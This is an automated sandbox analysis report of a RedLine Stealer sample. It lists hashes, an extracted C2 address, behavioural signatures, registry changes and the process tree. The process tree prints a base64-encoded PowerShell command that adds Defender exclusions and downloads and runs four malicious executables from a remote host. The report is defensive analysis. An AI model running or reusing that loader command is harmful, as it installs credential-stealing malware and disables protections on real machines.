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Analysis
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max time kernel
44s -
max time network
47s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
11/01/2023, 07:11
Static task
static1
Behavioral task
behavioral1
Sample
84fa342db3e61b9a30b76763efbbfaea700476a8.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
84fa342db3e61b9a30b76763efbbfaea700476a8.exe
Resource
win10v2004-20220812-en
General
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Target
84fa342db3e61b9a30b76763efbbfaea700476a8.exe
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Size
247KB
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MD5
1eed44b17228fbc5779f5bb908161e73
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SHA1
84fa342db3e61b9a30b76763efbbfaea700476a8
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SHA256
ef977f35deec3d30dceafdc1b9ba117928ce3f78156dfa63596bcdf1d0d81d8b
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SHA512
3ac850fe79c9f20e2311898f2e9b57a4fc9f45e135b916822105afa00528fc16f73fdf89a7cfdcd020fc4c7f855a12cb8b4dd7b969146fa8e68d104b3b3e4b5a
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SSDEEP
6144:w93F+3NnZo50r9uMlWr1o1XUQTH3oXx/EAOhxm09nmvc:S4tZo50r9uMlWg1ZrxtnF
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/812-176-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1484 created 2556 1484 SmartDefRun.exe 23 PID 1484 created 2556 1484 SmartDefRun.exe 23 PID 1484 created 2556 1484 SmartDefRun.exe 23 PID 1484 created 2556 1484 SmartDefRun.exe 23 PID 1152 created 580 1152 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 8 5036 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 4388 C4Loader.exe 1136 new2.exe 4444 SysApp.exe 1484 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4532 set thread context of 4836 4532 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 81 PID 1136 set thread context of 812 1136 new2.exe 93 PID 1484 set thread context of 3820 1484 SmartDefRun.exe 113 PID 1152 set thread context of 932 1152 powershell.EXE 118 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4896 sc.exe 2820 sc.exe 4468 sc.exe 4556 sc.exe 4052 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4976 4532 WerFault.exe 79 2376 1136 WerFault.exe 88 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE -
Suspicious behavior: EnumeratesProcesses 51 IoCs
pid Process 5036 powershell.exe 5036 powershell.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 4444 SysApp.exe 1484 SmartDefRun.exe 1484 SmartDefRun.exe 3624 powershell.exe 3624 powershell.exe 1484 SmartDefRun.exe 1484 SmartDefRun.exe 1484 SmartDefRun.exe 1484 SmartDefRun.exe 4828 powershell.exe 4828 powershell.exe 1484 SmartDefRun.exe 1484 SmartDefRun.exe 1152 powershell.EXE 2844 powershell.EXE 2844 powershell.EXE 1152 powershell.EXE 1152 powershell.EXE 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe 932 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5036 powershell.exe Token: SeDebugPrivilege 3624 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeIncreaseQuotaPrivilege 4828 powershell.exe Token: SeSecurityPrivilege 4828 powershell.exe Token: SeTakeOwnershipPrivilege 4828 powershell.exe Token: SeLoadDriverPrivilege 4828 powershell.exe Token: SeSystemProfilePrivilege 4828 powershell.exe Token: SeSystemtimePrivilege 4828 powershell.exe Token: SeProfSingleProcessPrivilege 4828 powershell.exe Token: SeIncBasePriorityPrivilege 4828 powershell.exe Token: SeCreatePagefilePrivilege 4828 powershell.exe Token: SeBackupPrivilege 4828 powershell.exe Token: SeRestorePrivilege 4828 powershell.exe Token: SeShutdownPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeSystemEnvironmentPrivilege 4828 powershell.exe Token: SeRemoteShutdownPrivilege 4828 powershell.exe Token: SeUndockPrivilege 4828 powershell.exe Token: SeManageVolumePrivilege 4828 powershell.exe Token: 33 4828 powershell.exe Token: 34 4828 powershell.exe Token: 35 4828 powershell.exe Token: 36 4828 powershell.exe Token: SeIncreaseQuotaPrivilege 4828 powershell.exe Token: SeSecurityPrivilege 4828 powershell.exe Token: SeTakeOwnershipPrivilege 4828 powershell.exe Token: SeLoadDriverPrivilege 4828 powershell.exe Token: SeSystemProfilePrivilege 4828 powershell.exe Token: SeSystemtimePrivilege 4828 powershell.exe Token: SeProfSingleProcessPrivilege 4828 powershell.exe Token: SeIncBasePriorityPrivilege 4828 powershell.exe Token: SeCreatePagefilePrivilege 4828 powershell.exe Token: SeBackupPrivilege 4828 powershell.exe Token: SeRestorePrivilege 4828 powershell.exe Token: SeShutdownPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeSystemEnvironmentPrivilege 4828 powershell.exe Token: SeRemoteShutdownPrivilege 4828 powershell.exe Token: SeUndockPrivilege 4828 powershell.exe Token: SeManageVolumePrivilege 4828 powershell.exe Token: 33 4828 powershell.exe Token: 34 4828 powershell.exe Token: 35 4828 powershell.exe Token: 36 4828 powershell.exe Token: SeIncreaseQuotaPrivilege 4828 powershell.exe Token: SeSecurityPrivilege 4828 powershell.exe Token: SeTakeOwnershipPrivilege 4828 powershell.exe Token: SeLoadDriverPrivilege 4828 powershell.exe Token: SeSystemProfilePrivilege 4828 powershell.exe Token: SeSystemtimePrivilege 4828 powershell.exe Token: SeProfSingleProcessPrivilege 4828 powershell.exe Token: SeIncBasePriorityPrivilege 4828 powershell.exe Token: SeCreatePagefilePrivilege 4828 powershell.exe Token: SeBackupPrivilege 4828 powershell.exe Token: SeRestorePrivilege 4828 powershell.exe Token: SeShutdownPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeSystemEnvironmentPrivilege 4828 powershell.exe Token: SeRemoteShutdownPrivilege 4828 powershell.exe Token: SeUndockPrivilege 4828 powershell.exe Token: SeManageVolumePrivilege 4828 powershell.exe Token: 33 4828 powershell.exe Token: 34 4828 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4532 wrote to memory of 4836 4532 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 81 PID 4532 wrote to memory of 4836 4532 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 81 PID 4532 wrote to memory of 4836 4532 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 81 PID 4532 wrote to memory of 4836 4532 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 81 PID 4532 wrote to memory of 4836 4532 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 81 PID 4836 wrote to memory of 5036 4836 vbc.exe 85 PID 4836 wrote to memory of 5036 4836 vbc.exe 85 PID 4836 wrote to memory of 5036 4836 vbc.exe 85 PID 5036 wrote to memory of 4388 5036 powershell.exe 87 PID 5036 wrote to memory of 4388 5036 powershell.exe 87 PID 5036 wrote to memory of 4388 5036 powershell.exe 87 PID 5036 wrote to memory of 1136 5036 powershell.exe 88 PID 5036 wrote to memory of 1136 5036 powershell.exe 88 PID 5036 wrote to memory of 1136 5036 powershell.exe 88 PID 5036 wrote to memory of 4444 5036 powershell.exe 89 PID 5036 wrote to memory of 4444 5036 powershell.exe 89 PID 5036 wrote to memory of 4444 5036 powershell.exe 89 PID 5036 wrote to memory of 1484 5036 powershell.exe 90 PID 5036 wrote to memory of 1484 5036 powershell.exe 90 PID 1136 wrote to memory of 812 1136 new2.exe 93 PID 1136 wrote to memory of 812 1136 new2.exe 93 PID 1136 wrote to memory of 812 1136 new2.exe 93 PID 1136 wrote to memory of 812 1136 new2.exe 93 PID 1136 wrote to memory of 812 1136 new2.exe 93 PID 2404 wrote to memory of 4896 2404 cmd.exe 102 PID 2404 wrote to memory of 4896 2404 cmd.exe 102 PID 2404 wrote to memory of 2820 2404 cmd.exe 104 PID 2404 wrote to memory of 2820 2404 cmd.exe 104 PID 2404 wrote to memory of 4468 2404 cmd.exe 105 PID 2404 wrote to memory of 4468 2404 cmd.exe 105 PID 2404 wrote to memory of 4556 2404 cmd.exe 106 PID 2404 wrote to memory of 4556 2404 cmd.exe 106 PID 2404 wrote to memory of 4052 2404 cmd.exe 107 PID 2404 wrote to memory of 4052 2404 cmd.exe 107 PID 2404 wrote to memory of 2576 2404 cmd.exe 108 PID 2404 wrote to memory of 2576 2404 cmd.exe 108 PID 2404 wrote to memory of 3704 2404 cmd.exe 109 PID 2404 wrote to memory of 3704 2404 cmd.exe 109 PID 2404 wrote to memory of 2380 2404 cmd.exe 110 PID 2404 wrote to memory of 2380 2404 cmd.exe 110 PID 2404 wrote to memory of 1132 2404 cmd.exe 111 PID 2404 wrote to memory of 1132 2404 cmd.exe 111 PID 2404 wrote to memory of 3980 2404 cmd.exe 112 PID 2404 wrote to memory of 3980 2404 cmd.exe 112 PID 1484 wrote to memory of 3820 1484 SmartDefRun.exe 113 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 1152 wrote to memory of 932 1152 powershell.EXE 118 PID 932 wrote to memory of 580 932 dllhost.exe 3 PID 932 wrote to memory of 656 932 dllhost.exe 1 PID 932 wrote to memory of 944 932 dllhost.exe 56 PID 932 wrote to memory of 1020 932 dllhost.exe 11 PID 932 wrote to memory of 432 932 dllhost.exe 10 PID 932 wrote to memory of 424 932 dllhost.exe 55 PID 932 wrote to memory of 1028 932 dllhost.exe 54 PID 932 wrote to memory of 1036 932 dllhost.exe 53 PID 932 wrote to memory of 1124 932 dllhost.exe 52 PID 932 wrote to memory of 1196 932 dllhost.exe 51
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:656
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:580
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ceda3a9b-4293-4a65-9122-c2dbc8c1950e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:432
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1880
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2684
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3252
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:764
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2556
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C:\Users\Admin\AppData\Local\Temp\84fa342db3e61b9a30b76763efbbfaea700476a8.exe"C:\Users\Admin\AppData\Local\Temp\84fa342db3e61b9a30b76763efbbfaea700476a8.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4388
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:812
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1136 -s 5086⤵
- Program crash
PID:2376
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-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4444
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1484
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-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 2523⤵
